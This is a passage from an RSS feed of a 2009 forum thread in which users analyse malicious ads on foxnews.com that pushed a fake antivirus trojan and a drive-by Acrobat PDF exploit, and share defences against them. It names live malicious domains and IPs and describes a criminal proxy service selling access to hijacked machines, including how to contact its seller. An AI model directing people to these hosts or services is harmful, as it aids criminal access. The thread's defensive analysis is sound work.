is web-based<br><br>&#8226;others arrive by email where the user/victim decides to open the file. <br></blockquote><br>The end result is the same: code in the PDF file calls out to a server hosting malware which is then downloaded to the user/victim's computer.<br><br>The Fox News PDF web-based exploit is a good example of remote code execution. In order for it to succeed, 4 requirements must be in place. I'll summarize from previous posts.<br><br><b>1)</b> Scripting enabled. (Javascript, not Java). <br><br>If I disable Javascript in Firefox's Options and in Opera's Preferences, nothing happens: this exploit (and the WinAntiVirus exploit) fails at this point.<br><br><b>2)</b> The PDF file must load into the browser. If the browser is configured to Prompt for a Download...<br><br>[att=1]<br><br>... the user is in the same position as with the WinAntiVirus exploit: to be victimized, the user must consent to download.<br><br>In both cases, the reaction should be: Hey, I didn't go looking for this. CANCEL. With the fake antivirus exploit, the suggestion is to close the browser process in Task Manager.<br><br><b>3)</b> The 3rd requirement for the PDF exploit by remote code execution is that the Acrobat Reader must connect out to the internet to retrieve the malware. Outbound firewall monitoring will permit only those applications previously authorized by the user. The PDF Reader, of course, should not be given free access to the internet:<br><br>[att=2]<br><br><b>4)</b> Finally, the trojan must be able to download/install without anything blocking it. The most secure protection for these types of exploits is some type of White Listing which blocks <b>ALL</b> unauthorized executable files that attempt to download/install:<br><br>[att=3]<br><center><br><div class="bquote">File load.exe received on 04.17.2009 08:39:38 (CET)<br>Sunbelt 3.2.1858.2 2009.04.17 InfoStealer.Snifula.a (v)</div></center><br>Other solutions include running in a non-Administrator account; configuring Software Restriction Policies.<br><br>If this malicious PDF arrived by email and the user opened it, note that proper security at steps <b>3)</b> and <b>4)</b> would block the exploit from succeeding.<br><br>I hope you can see why Remote Code Execution Exploits should be the easiest to prevent. Look at all of the hurdles necessary to jump before the exploit is successful. <br><br>While something certainly needs to be done about stopping the occurrence of exploits on web pages, nonetheless for people with proper security protection and policies in place, they are an annoying nuisance rather than a threat.<br><br>----<br>rich<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22270715?c=1421744&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="24981 bytes" BORDER=0 WIDTH=577 HEIGHT=514 SRC="/r0/download/1421744~7dc0037ee6beb81637316c510eba886a/ff-pdfPrompt.gif"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22270715?c=1421746&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="23620 bytes" BORDER=0 WIDTH=553 HEIGHT=536 SRC="/r0/download/1421746~aa21749c66aa0a5bcc079a0859daf4da/ff-acroKerio.gif"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22270715?c=1421747&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="28053 bytes" BORDER=0 WIDTH=559 HEIGHT=693 SRC="/r0/download/1421747~8493f6f04b3ded6b51a809e0007cdd70/ff-acroKerioAe.gif"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22270715</guid>
<pubDate>Tue, 21 Apr 2009 04:10:59 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22270302</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by  FiOS Dan <A HREF="/useremail/u/424692"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br><div class="bquote"><small>said by  Sentinel <A HREF="/useremail/u/307353"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>...I use a hosts file to block ads as well.</div>Methinks that's the ticket.<br> </div>That may be one of several reasons why some users were never exposed, nor triggered any other alerts. I spent some time checking the add rotations and noticed that several of the domains showed up as blocked in several hosts files. As a first line of defense, that may have prevented many AV, and script blockers from barking.<br><br>Foxnews.com offers a comprehensive list of advertiser options: &raquo;<A HREF="http://advertise.foxnews.com/creative-specs/" >advertise.foxnews.com/creative-specs/</A> and also the following Approved Third Party Vendors:<br><br>Atlas<br>Doubleclick<br>Eyeblaster<br>Eyewonder<br>Klipmart<br>Pointroll<br>Unicast<br>Zedo<br><br>Ref: &raquo;<A HREF="http://advertise.foxnews.com/creative-specs/third-party-vendors/" >advertise.foxnews.com/creative-s&middot;&middot;&middot;vendors/</A><br><br>I spent several hours reviewing the top banner adds, many are flash, but not all. One issue that I noted is that there were several complaints of infection attempts while on <b>blogs.foxnews.com</b> which appears to have less adds than the other pages.<br><br>For example, posters on "FOX News Blogs &raquo; Alisyn in the Greenroom" noted the following on 04/18<br><br> <blockquote><small>quote:</small><hr>Comment by Anita in VA <br>April 18th, 2009 at 6:52 am <br>Good morning fellow bloggers&#150;<br><br>I have a quick question&#150;have any of you experience, when first accessing the Greenroom Blog, a Windows Explorer popup windows, saying you need to run a virus scan on your computer?<br><br>I had it happened last saturday, when on work travel, from my work computer, and then again this morning, from my home computer.<br><br>Comment by Jimmy <br>April 18th, 2009 at 6:54 am <br>yes Anita&#133;..it a shame&#133;ran my program&#133;no infections&#133;.they bother you to try to grt you to buy their program&#133;.do not load the program<br><br>Comment by Anita in VA <br>April 18th, 2009 at 6:59 am <br>jimmy/all&#150;yes, that was actually the FakeAlert Trojan&#150;<br><br>other bloggers&#150;if you also got that popup, run a REAL virus scan of your computer, even if you X&#146;d out of it. You&#146;re probably now infected with the FakeAvAlert Trojan<br><br>Alisyn/Foxnews&#150;<br>Please scan your website pages, it was definitely a link/ad on your pages that produced the popup that infects with the FakeAVAlert Trojan.<br><hr></blockquote><br><br>Ref: &raquo;<A HREF="http://greenroom.blogs.foxnews.com/2009/04/18/saturday-morning-15/" >greenroom.blogs.foxnews.com/2009&middot;&middot;&middot;ning-15/</A><br><br>I hope that Fox comes forward and informs the public of its findings. I believe it is important that the exploit vector is made public so that everyone can be aware of the methods that are used.<br><br>This epidemic has affected many high traffic sites, irrespective of the content. Cybercriminals are not selective. However, the compromising of such a high value target warrants some disclosure of the facts, in order to mitigate additional potentil targets, and address issues with third party advertisers.<br><br>Fox's own stats list:<br><br>13.5 Million Unique users per month<br><br>615 Million Page views per month<br><br>That is a significant potential exposure. One can debate how many visitors come from fully patched updated systems, and are savvy enough to weave through the fake screens if exposed.<br><br>One interesting side note, while vetting the top banner adds last night, a non flash advertisement came up for E*TRADE. There was absolutely no nefarious activity associated with it. However, it was impossible to perform any vetting of the source. The properties of the add appeared to link to a subdirectory of Lorentrio.com which is hosted in Holland on a Leaseweb IP 94.75.216.152 <br><br>The initial concern was the entire anonymonity of the set up. <br><br>There are 10 domains hosted on IP 94.75.216.152: <br><br>01.  Alitasis.com <br>02.  Idatrinity.com <br>03.  Junstring.com <br>04.  Kemerlane.com <br>05.  Lacoste-ads.com <br>06.  Lorentrio.com <br>07.  Mosdao.com <br>08.  Namlean.com <br>09.  Nokia-corp.com <br>10.  Tornadomb.com <br><br>One would assume that "Nokia" could be a copyright issue. The eyebrow raiser is that all of these domains were registered within the last month or so. All appeared to be registered using ICANN Registrar: <br><br>DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A <br>PUBLICDOMAINREGISTRY.COM <br><br>In addition, they were all registered using a cloaking service PrivacyProtect.org:<br><br>Such as:<br><br> <blockquote><small>quote:</small><hr>Registration Service Provided By: REGISTER SERVICES<br>Contact: +001.8882106539<br><br>Domain Name: LORENTRIO.COM <br><br>Registrant:<br>    PrivacyProtect.org<br>    Domain Admin        ()<br>    P.O. Box 97<br>    Note - All Postal Mails Rejected, visit Privacyprotect.org<br>    Moergestel<br>    null,5066 ZH<br>    NL<br>    Tel. +45.36946676<br><br>Creation Date: 29-Mar-2009  <br>Expiration Date: 29-Mar-2010<br><hr></blockquote><br><br>Again, nothing appeared wrong with the add, however, in most other circumstances the above criteria would be cause for concern. Though not necessarily unusual in these circumstances, but all the domains contain a "deny all" robots.txt file. Who are these people ??<br><br>As  Cometcom1 <A HREF="/useremail/u/1637908"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> noted to me, and I believe it was also mentioned in Dancho Danev's blog, Google's safe browsing diagnostic of foxnews.com notes the site as not suspicious. It is somewhat ambiguous as they do note that:<br><br> <blockquote><small>quote:</small><hr>"Malicious software is hosted on 3 domain(s), including 2mdn.net/, s3.wordpress.com/, llnwd.net/."<br><hr></blockquote><br><br><div class="borderless siteshot"><small>Snapped 2009-04-21 00:45:11 <A HREF="/faq/7513" TITLE="Snap-shot of URL"><IMG  align=absmiddle TITLE="" SRC="http://i.dslr.net/silk/information.png" border=0 width=16 height=16></A><br><A TITLE="Zoom" HREF="http://i.dslr.net/urls/68/89368.png"><IMG BORDER=0 SRC="http://i.dslr.net/urls/68/89368.gif"></A><br>&raquo;<A HREF="http://www.google.com/safebrowsing/diagnostic?site=http://foxnews.com" >www.google.com/safebrowsing/diag&middot;&middot;&middot;news.com</A></small></div><br><br>If you check Google's analysis of one of the above three:<br>s3.wordpress.com, it shows:<br><br> <blockquote><small>quote:</small><hr><b>Has this site hosted malware?</b><br><br>Yes, this site has hosted malicious software over the past 90 days. It infected 1 domain(s), including foxnews.com/.<br><hr></blockquote><br><br><div class="borderless siteshot"><small>Snapped 2009-04-21 00:44:54 <A HREF="/faq/7513" TITLE="Snap-shot of URL"><IMG  align=absmiddle TITLE="" SRC="http://i.dslr.net/silk/information.png" border=0 width=16 height=16></A><br><A TITLE="Zoom" HREF="http://i.dslr.net/urls/69/89369.png"><IMG BORDER=0 SRC="http://i.dslr.net/urls/69/89369.gif"></A><br>&raquo;<A HREF="http://www.google.com/safebrowsing/diagnostic?site=s3.wordpress.com/" >www.google.com/safebrowsing/diag&middot;&middot;&middot;ess.com/</A></small></div><br><br>I hope the focus can remain on the current stage of this epidemic and systemic organized cyber crime, and not on what the content of the infested high traffic website du-jour is. This problem will continue to invade the entire internet until concerted efforts are made to go after the money, and the commercial and financial systems that are utilized to support it.  <br><br>MGD]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22270302</guid>
<pubDate>Tue, 21 Apr 2009 00:49:29 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22270016</link>
<description><![CDATA[<A HREF="/useremail/u/429050"><b>La Luna</b></A> : It seems that CNN was affected with a malware issue just last summer:<br><br>&raquo;<A HREF="http://blog.mxlab.be/2008/08/04/cnn-daily-top-10-leads-users-to-site-hosting-malware/" >blog.mxlab.be/2008/08/04/cnn-dai&middot;&middot;&middot;malware/</A><br><br>Apparently no one is immune when it comes from the outside rather than within (which has been foolishly implied here).<br><small>--<br><b>1/20/09 The Beginning of the End<br> <br><A HREF="http://www.thereligionofpeace.com/">13,079 DEADLY TERROR ATTACKS SINCE 9/11</a></b></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22270016</guid>
<pubDate>Mon, 20 Apr 2009 23:32:20 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22269808</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by milvos :</small><br><br>.... I have been getting this up with the fake virus scan for a few days now. And want to know whether it is something on my computer or whether this is coming from sites I am visiting. When I leave my computer idle for while it seems to come up. <br><br>Any help appreciated.<br> </div>One rudimentary test is to disconnect the internet connection from the computer. Restart it, open your web browser and see if the popups still come up. You may not even have to open a web browser. If popups come up, or your browser attempts to connect to another website, then it is likely that malware is present in your computer. <br><br>MGD]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22269808</guid>
<pubDate>Mon, 20 Apr 2009 22:54:13 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22269315</link>
<description><![CDATA[<A HREF="/useremail/u/424692"><b>FiOS Dan</b></A> : <div class="bquote"><small>said by  Sentinel <A HREF="/useremail/u/307353"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>...I use a hosts file to block ads as well.</div>Methinks that's the ticket.<br><small>--<br><i>Courage is being scared to death but saddling up anyway.</i><br></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22269315</guid>
<pubDate>Mon, 20 Apr 2009 21:24:57 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22268686</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : I have been reading all this and maybe am no great with virus, adware, spyware etc.<br><br>I have been getting this up with the fake virus scan for a few days now. And want to know whether it is something on my computer or whether this is coming from sites I am visiting. When I leave my computer idle for while it seems to come up. <br><br>Any help appreciated.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22268686</guid>
<pubDate>Mon, 20 Apr 2009 19:32:16 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22267539</link>
<description><![CDATA[<A HREF="/useremail/u/465540"><b>acid343211</b></A> : Easy Fix block the site and Disable Downloading on your PC.<br><br>Now when i go to the Site it gives me a Red screen Blocked by Administrator.<br><small>--<br>Visit-<br>www.liveleak.com/view?i=e32_1231680425</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22267539</guid>
<pubDate>Mon, 20 Apr 2009 16:28:05 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22267451</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by  mysec <A HREF="/useremail/u/1295721"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>....<br>Note that this is an Acrobat Reader exploit, not a browser exploit. The browser just loads the PDF file. This exploit works in all browsers. Be sure and configure your file types to Prompt for Download, or "Always Ask"<br>..<br>----<br>rich<br> </div>Great write up !<br><br>I was particularily interested in this driveby:<br><br> <blockquote><small>quote:</small><hr>[Adobe Reader 6.0 from your computer wants to <br>connect to plathost.ru [78.109.25.217], port 80]<br><hr></blockquote><br><br>as that location has come to my attention on several occasions.<br><br>IP 78.109.25.217<br><br>appears to be hosting 3 domains: &raquo;<A HREF="http://whois.domaintools.com/78.109.25.217" >whois.domaintools.com/78.109.25.217</A><br><br>1.  Nevervhudo.ru  &raquo;<A HREF="http://whois.domaintools.com/nevervhudo.ru" >whois.domaintools.com/nevervhudo.ru</A><br><br>2.  Socksps.ru &raquo;<A HREF="http://whois.domaintools.com/Socksps.ru" >whois.domaintools.com/Socksps.ru</A> <br><br>3.  Stopgam.cn &raquo;<A HREF="http://whois.domaintools.com/Stopgam.cn" >whois.domaintools.com/Stopgam.cn</A> <br><br>Due to the name, Socksps.ru aroused some curiosity, however, the main page only offers a log in:<br><br>[att=1]<br><br>If one can overcome that restriction an account holder can purchase the use of compromised machines around the globe to use as a secure proxy:<br><br>[att=2]<br><br>This may be where some of the compromised victim machines are leveraged for additional income:<br><br>The master list of available for rent machines is several pages long:<br><br>[att=3]<br><br>You can sort the available hijacked machines by country, and then buy access, daily or monthly to mask your true origin for any nefarious purpose:<br><br>USA:<br><br>[att=4]<br><br>UK:<br><br>[att=5]<br><br>Iran:<br><br>[att=6]<br><br>Note the banner add for "carding Conference" at cashing.cc:<br><br>This may be where the compromised extracted financial data ends up for sale:<br><br>[att=7]<br><br>It appears that the only way to obtain a log in account in order to use the services of Socksps.ru is to contact ICQ 431278403<br><br>Or you can resond directly to his promotion on forum.zloy.org a cyber criminals one stop shop for carding, hacking exploits, money transfers, banking etc.<br><br>His translated add posting on the forum.zloy.org for Socksps.ru services is here:<br><br><div class="borderless siteshot"><small>Snapped 2009-04-20 16:11:32 <A HREF="/faq/7513" TITLE="Snap-shot of URL"><IMG  align=absmiddle TITLE="" SRC="http://i.dslr.net/silk/information.png" border=0 width=16 height=16></A><br><A TITLE="Zoom" HREF="http://i.dslr.net/urls/57/89357.png"><IMG BORDER=0 SRC="http://i.dslr.net/urls/57/89357.gif"></A><br>&raquo;<A HREF="http://translate.google.com/translate?hl=en&sl=ru&u=http://forum.zloy.org/showthread.php%3Fp%3D4613363&ei=PsHsSe_1FIeItAOJh7TgAQ&sa=X&oi=translate&resnum=1&ct=result&prev=/search%3Fq%3Dicq%2B431278403%26hl%3Den" >translate.google.com/translate?h&middot;&middot;&middot;6hl%3Den</A></small></div><br><br>The main zloy.org page is translated here:<br><br><div class="borderless siteshot"><small>Snapped 2009-04-20 16:13:50 <A HREF="/faq/7513" TITLE="Snap-shot of URL"><IMG  align=absmiddle TITLE="" SRC="http://i.dslr.net/silk/information.png" border=0 width=16 height=16></A><br><A TITLE="Zoom" HREF="http://i.dslr.net/urls/58/89358.png"><IMG BORDER=0 SRC="http://i.dslr.net/urls/58/89358.gif"></A><br>&raquo;<A HREF="http://translate.google.com/translate?js=n&prev=_t&hl=en&ie=UTF-8&u=http%3A%2F%2Fforum.zloy.org%2F&sl=ru&tl=en&history_state0=" >translate.google.com/translate?j&middot;&middot;&middot;_state0=</A></small></div><br><br>MGD<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=2 WIDTH=66%><A HREF="/speak/slideshow/22267451?c=1421537&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="2393 bytes" BORDER=0 WIDTH=358 HEIGHT=304 SRC="/r0/download/1421537~47be7740816b68092fbbf531ad0ac4b7/socksps.ru_login.png"></A></TD><TD ALIGN=CENTER BGCOLOR=#FFFFFF nowrap width=1%>&nbsp;</TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22267451?c=1421539&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="76165 bytes" WIDTH=600 HEIGHT=611 SRC="/r0/download/1421539.thumb600~5813152c32ca5a5ec77d637b69454cea/socksps.ru.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22267451?c=1421540&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="49805 bytes" WIDTH=600 HEIGHT=519 SRC="/r0/download/1421540.thumb600~db2836c32e44c6438d8df702bd5fb5fd/socks_assorted.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22267451?c=1421541&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="88162 bytes" WIDTH=600 HEIGHT=530 SRC="/r0/download/1421541.thumb600~64b1d7840ef4a29f1918770fe3abb053/socksps.ru_US.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22267451?c=1421542&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="51800 bytes" WIDTH=600 HEIGHT=526 SRC="/r0/download/1421542.thumb600~280e74392be4811a649123adab8c18a8/socks_uk.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22267451?c=1421543&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="53890 bytes" WIDTH=600 HEIGHT=498 SRC="/r0/download/1421543.thumb600~ee917d82fd367ebf0a9837305a1fe2c6/socksps.ru_iran.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22267451?c=1421544&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="97160 bytes" WIDTH=600 HEIGHT=417 SRC="/r0/download/1421544.thumb600~8a8e9edc196e7b82e9ec6a4c3b41615f/cashing_cc.jpg/thumb.jpg" ALT="Click for full size"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22267451</guid>
<pubDate>Mon, 20 Apr 2009 16:14:27 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22267252</link>
<description><![CDATA[<A HREF="/useremail/u/465540"><b>acid343211</b></A> :  <blockquote><small>said by  kpatz <A HREF="/useremail/u/825971"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><hr>Internet Explorers addon Shockwave Flash vs.3 found to be linking to the FormSpy website hosted at IP address 81.95.109.11 This addon tries to send your private information to attackers IP 72.95.109.11 (Malaysia) <hr></blockquote><br><br> <blockquote><small>quote:</small><hr>IP address country: 81.95.109.11<br>IP address country      flag Czech Republic<br>IP address state: &#9;Hlavni Mesto Praha<br>IP address city: &#9;Praha <hr></blockquote><br><br> <blockquote><small>quote:</small><hr>IP address 72.95.109.11<br>IP country code:  &#9; US<br>IP address country: &#9;flag United States<br>IP address state: &#9;Maine<br>IP address city: &#9;Orono<br>IP address latitude: &#9;44.879101<br>IP address longitude: &#9;-68.733002<br>ISP of this IP [?]: &#9;Fairpoint Communications<br>Organization: &#9;Fairpoint Communications <hr></blockquote><br><small>--<br>Visit-<br>www.liveleak.com/view?i=e32_1231680425</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22267252</guid>
<pubDate>Mon, 20 Apr 2009 15:37:31 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22267195</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> :  <blockquote><small>quote:</small><hr>The fake antivirus exploit prompts for a download in IE, Opera, and Firefox because the download is an executable file for which these browsers prompt by default. I showed Opera in a previous post.<hr></blockquote><br><br>Ok, so there is a download prompt and you get a chance to cancel the whole thing, in those cases where it attempts to make you download an exe file instead of serving a browser or plugin exploit. That is good news. :) <br><br> <blockquote><small>quote:</small><hr>The other exploits I found are automatically triggered (drive-by download):<br><br>IE exploits against the browser as I showed in the previous post.<br><br>PDF exploit in Firefox. This is from a previous exploit. Note that it is Acrobat calling out for the trojan and not Firefox:<br><br>Note that this is an Acrobat Reader exploit, not a browser exploit. The browser just loads the PDF file. This exploit works in all browsers. Be sure and configure your file types to Prompt for Download, or "Always Ask"<hr></blockquote><br><br>Ok, so the actual drive-by downloads (no user consent required) of this badware are based on exploits in either the browser or some other related program like PDF viewers, as usual. And the PDF exploits you can stop just by having the browser prompt for download of pdf files instead of opening them in the proper program, or even just by not giving the PDF viewer permission to go online when your firewall prompts for it. Good news, again!<br><br>Thanks for all the advice, guys, I think I understand how this thing operates now. If I got it right, this thing is not a threat as long as you <br>- have your browser set to prompt for download for exes, pdfs etc instead of having the browser run them at once, and cancel any suspicious, unwanted downloads, and<br>- have a fully patched browser that isn't vulnerable to the browser exploits this thing tries, such as the latest Opera version. <br><br>Or in other words, it's a pretty basic baddie. Sounds like I'm good to go, and have nothing to worry about this malware. It should be easy to avoid this thing: just keep the browser patched (and preferably use Opera) and have it set to prompt for downloading stuff, or disable all the pointless plugins we don't need like Adobe Reader etc.  <br><br>Still, Foxnews should get their ads cleaned right the F now. It's inexcusable for a big outfit like that to serve crapware via ads. I wonder if a popup blocker would help against these things. ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22267195</guid>
<pubDate>Mon, 20 Apr 2009 15:29:09 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22267114</link>
<description><![CDATA[<A HREF="/useremail/u/618942"><b>bobince</b></A> :  <blockquote><small>quote:</small><hr>Be sure and configure your file types to Prompt for Download, or "Always Ask"<hr></blockquote><br><br>You can also disable the plugin for all browsers from Reader's &#147;Edit->Preferences->Internet->Display PDF in browser&#148; option, or use a different PDF reader that doesn't install a plugin. (Who wants to read a PDF stuck inside a browser window anyway?)<br><br>As always, if you aren't using a plugin, remove it, and you'll reduce the attack surface of your browser and the number of things you have to worry about keeping updated. Do you really need PDF, Java, QuickTime and Real plugins? Probably not.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22267114</guid>
<pubDate>Mon, 20 Apr 2009 15:12:16 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266943</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : Does this malware require java ? No Java = no infection?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266943</guid>
<pubDate>Mon, 20 Apr 2009 14:44:13 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266827</link>
<description><![CDATA[<A HREF="/useremail/u/1590100"><b>Airborne29th</b></A> : Has this been cleaned? Ive gone all through foxnews on our test computer to see if our antivirus will catch it, and nothing is coming up.. Either that or its silently being stopped, tried with adblock plus and without, IE and Firefox.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266827</guid>
<pubDate>Mon, 20 Apr 2009 14:27:45 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266791</link>
<description><![CDATA[<A HREF="/useremail/u/1295721"><b>mysec</b></A> : The fake antivirus exploit prompts for a download in IE, Opera, and Firefox because the download is an executable file for which these browsers prompt by default. I showed Opera in a previous post. Here are IE and Firefox:<br><br>[att=1]<br><br>[att=2]<br><br>The other exploits I found are automatically triggered (drive-by download):<br><br>IE exploits against the browser as I showed in the previous post.<br><br>PDF exploit in Firefox. This is from a previous exploit. Note that it is Acrobat calling out for the trojan and not Firefox:<br><br>[att=3]<br><br>Note that this is an Acrobat Reader exploit, not a browser exploit. The browser just loads the PDF file. This exploit works in all browsers. Be sure and configure your file types to Prompt for Download, or "Always Ask"<br><br>Opera:<br><br>[att=4]<br><br>Firefox:<br><br>[att=5]<br><br>----<br>rich<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22266791?c=1421511&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="56666 bytes" WIDTH=600 HEIGHT=610 SRC="/r0/download/1421511.thumb600~6e2d6be06be6442d6d9e0f0a4f17979a/foxnewsIEprompt.gif/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22266791?c=1421512&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="38043 bytes" BORDER=0 WIDTH=581 HEIGHT=609 SRC="/r0/download/1421512~754c9034dd1fcdc04e46b16ee2d2d0a8/foxnewsFFprompt.gif"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22266791?c=1421513&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="29582 bytes" WIDTH=600 HEIGHT=673 SRC="/r0/download/1421513.thumb600~e7c6f546954172b87b043c4aaf2468a3/ff-cnExploit.gif/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22266791?c=1421516&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="23820 bytes" BORDER=0 WIDTH=449 HEIGHT=273 SRC="/r0/download/1421516~62ec87b08416f7e21fa2a23ba4e32e9e/PDFpromptOpera.gif"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22266791?c=1421517&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="17696 bytes" BORDER=0 WIDTH=458 HEIGHT=284 SRC="/r0/download/1421517~1f7e43e9c180870be69522e0c0169ace/PDFpromptFF.gif"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266791</guid>
